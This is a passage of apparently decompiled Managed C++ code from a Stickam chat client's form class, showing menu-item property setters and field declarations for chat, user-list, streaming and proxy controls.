        public private: __property virtual void __gc* set_UserMenu_StealFontName(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.UserMenu_StealFontName_Click);
            if (this->_UserMenu_StealFontName != 0)
            {
                this->_UserMenu_StealFontName->Click -= handler;
            }
            this->_UserMenu_StealFontName = WithEventsValue;
            if (this->_UserMenu_StealFontName != 0)
            {
                this->_UserMenu_StealFontName->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_UserMenu_StealName()
        {
            return this->_UserMenu_StealName;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_UserMenu_StealName(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.UserMenu_StealName_Click);
            if (this->_UserMenu_StealName != 0)
            {
                this->_UserMenu_StealName->Click -= handler;
            }
            this->_UserMenu_StealName = WithEventsValue;
            if (this->_UserMenu_StealName != 0)
            {
                this->_UserMenu_StealName->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_UserMenu_ViewProfile()
        {
            return this->_UserMenu_ViewProfile;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_UserMenu_ViewProfile(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.UserMenu_ViewProfile_Click);
            if (this->_UserMenu_ViewProfile != 0)
            {
                this->_UserMenu_ViewProfile->Click -= handler;
            }
            this->_UserMenu_ViewProfile = WithEventsValue;
            if (this->_UserMenu_ViewProfile != 0)
            {
                this->_UserMenu_ViewProfile->Click += handler;
            }
        }


        // Fields
        [AccessedThroughProperty(S"About")]
        private: ToolStripMenuItem __gc* _About;
        [AccessedThroughProperty(S"ChatMenu")]
        private: ToolStripMenuItem __gc* _ChatMenu;
        [AccessedThroughProperty(S"ChatOptions")]
        private: ToolStripMenuItem __gc* _ChatOptions;
        [AccessedThroughProperty(S"ClearChat")]
        private: ToolStripMenuItem __gc* _ClearChat;
        [AccessedThroughProperty(S"Dataflow")]
        private: ToolStripMenuItem __gc* _Dataflow;
        [AccessedThroughProperty(S"DisablePM")]
        private: ToolStripMenuItem __gc* _DisablePM;
        [AccessedThroughProperty(S"Disconnect")]
        private: ToolStripMenuItem __gc* _Disconnect;
        [AccessedThroughProperty(S"DisplayName")]
        private: ToolStripTextBox __gc* _DisplayName;
        [AccessedThroughProperty(S"DisplayNameMenu")]
        private: ToolStripMenuItem __gc* _DisplayNameMenu;
        [AccessedThroughProperty(S"ExecuteStatement")]
        private: ToolStripMenuItem __gc* _ExecuteStatement;
        [AccessedThroughProperty(S"HelpMenu")]
        private: ToolStripMenuItem __gc* _HelpMenu;
        [AccessedThroughProperty(S"JoinLive")]
        private: ToolStripMenuItem __gc* _JoinLive;
        [AccessedThroughProperty(S"JoinRoom")]
        private: ToolStripMenuItem __gc* _JoinRoom;
        [AccessedThroughProperty(S"LobbyChat")]
        private: RichTextBox __gc* _LobbyChat;
        [AccessedThroughProperty(S"LobbyInput")]
        private: TextBox __gc* _LobbyInput;
        [AccessedThroughProperty(S"Login")]
        private: ToolStripMenuItem __gc* _Login;
        [AccessedThroughProperty(S"MenuStrip1")]
        private: MenuStrip __gc* _MenuStrip1;
        [AccessedThroughProperty(S"PingTimer")]
        private: Timer __gc* _PingTimer;
        [AccessedThroughProperty(S"PM_Mode")]
        private: ToolStripMenuItem __gc* _PM_Mode;
        [AccessedThroughProperty(S"ProxySettings")]
        private: ToolStripMenuItem __gc* _ProxySettings;
        [AccessedThroughProperty(S"ResetHandler")]
        private: ToolStripMenuItem __gc* _ResetHandler;
        [AccessedThroughProperty(S"SaveChat")]
        private: ToolStripMenuItem __gc* _SaveChat;
        [AccessedThroughProperty(S"ScriptMenu")]
        private: ToolStripMenuItem __gc* _ScriptMenu;
        [AccessedThroughProperty(S"ShowData")]
        private: ToolStripMenuItem __gc* _ShowData;
        [AccessedThroughProperty(S"SplitContainer1")]
        private: SplitContainer __gc* _SplitContainer1;
        [AccessedThroughProperty(S"SplitContainer2")]
        private: SplitContainer __gc* _SplitContainer2;
        [AccessedThroughProperty(S"Status")]
        private: ToolStripStatusLabel __gc* _Status;
        [AccessedThroughProperty(S"StatusStrip1")]
        private: StatusStrip __gc* _StatusStrip1;
        [AccessedThroughProperty(S"StickamMenu")]
        private: ToolStripMenuItem __gc* _StickamMenu;
        [AccessedThroughProperty(S"StickamStream")]
        private: StickamRtmp __gc* _StickamStream;
        [AccessedThroughProperty(S"StickamWeb")]
        private: StickamHttp __gc* _StickamWeb;
        [AccessedThroughProperty(S"TimeoutTimer")]
        private: Timer __gc* _TimeoutTimer;
        [AccessedThroughProperty(S"ToolStripSeparator1")]
        private: ToolStripSeparator __gc* _ToolStripSeparator1;
        [AccessedThroughProperty(S"ToolStripSeparator2")]
        private: ToolStripSeparator __gc* _ToolStripSeparator2;
        [AccessedThroughProperty(S"ToolStripSeparator3")]
        private: ToolStripSeparator __gc* _ToolStripSeparator3;
        [AccessedThroughProperty(S"ToolStripSeparator4")]
        private: ToolStripSeparator __gc* _ToolStripSeparator4;
        [AccessedThroughProperty(S"ToolStripSeparator5")]
        private: ToolStripSeparator __gc* _ToolStripSeparator5;
        [AccessedThroughProperty(S"UserlistCtl")]
        private: TreeView __gc* _UserlistCtl;
        [AccessedThroughProperty(S"UserMenu")]
        private: ContextMenuStrip __gc* _UserMenu;
        [AccessedThroughProperty(S"UserMenu_GetUserInfo")]
        private: ToolStripMenuItem __gc* _UserMenu_GetUserInfo;
        [AccessedThroughProperty(S"UserMenu_IgnoreUser")]
        private: ToolStripMenuItem __gc* _UserMenu_IgnoreUser;
        [AccessedThroughProperty(S"UserMenu_KickUser")]
        private: ToolStripMenuItem __gc* _UserMenu_KickUser;
        [AccessedThroughProperty(S"UserMenu_MakeModerator")]
        private: ToolStripMenuItem __gc* _UserMenu_MakeModerator;
        [AccessedThroughProperty(S"UserMenu_SendMessage")]
        private: ToolStripMenuItem __gc* _UserMenu_SendMessage;
        [AccessedThroughProperty(S"UserMenu_StealFont")]
        private: ToolStripMenuItem __gc* _UserMenu_StealFont;
        [AccessedThroughProperty(S"UserMenu_StealFontName")]
        private: ToolStripMenuItem __gc* _UserMenu_StealFontName;
        [AccessedThroughProperty(S"UserMenu_StealName")]
        private: ToolStripMenuItem __gc* _UserMenu_StealName;
        [AccessedThroughProperty(S"UserMenu_ViewProfile")]
        private: ToolStripMenuItem __gc* _UserMenu_ViewProfile;
        private: IContainer __gc* components;
        private: ParamsDelegate __gc* DelegateThread;
        private: String __gc* ExecuteAllow;
        private: String __gc* FailSafe;
        private: String __gc* FailSafe2;
        private: FontUpdatedEventHandler __gc* FontUpdatedEvent;
        private: String __gc* Keywords __gc [];
        public: VarsClass __gc* MyVars;
        private: NewPrivateMessageEventHandler __gc* NewPrivateMessageEvent;
        private: String __gc* PrivateMessages __gc [];
        public: RoomlistClass __gc* Roomlist;
        private: RoomlistRetrievedEventHandler __gc* RoomlistRetrievedEvent;
        private: SaveFileDialog __gc* SaveFileDlg;
        public: Object __gc* ScriptControl;
        public: Boolean __gc* ShowingData;
        private: String __gc* TimeoutCode;
        private: ImageList __gc* UserIconList;
        private: ImageList __gc* UserIconListInverted;
        public: UserlistClass __gc* Userlist;
        public: Object __gc* WebpageScript;
        public: String __gc* XX;
    };
}

